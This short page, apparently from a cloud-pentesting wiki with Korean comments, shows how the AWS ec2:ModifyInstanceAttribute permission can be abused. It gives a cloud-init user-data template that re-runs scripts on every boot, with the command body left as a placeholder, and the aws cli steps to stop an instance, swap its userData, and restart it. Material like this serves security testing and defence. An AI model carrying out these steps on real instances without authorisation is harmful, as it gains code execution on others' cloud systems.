ModifyInstanceAttributepending

Abuse
Demo

References
Last updated


Last updated
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
*** commands here ***
--//
command# UserData 파일 생성 후 base64 인코딩
base64 file.txt > file.b64.txt
# 인스턴스 중지
aws ec2 stop-instances --instance-id '<instance-id>'
# 인스턴스 UserData 항목에 file.b64.txt 파일 삽입
aws ec2 modify-instance-attribute --instance-id='<instance-id>' --attribute userData --value file://file.b64.txt
# 인스턴스 시작
aws ec2 start-instances --instance-id '<instance-id>'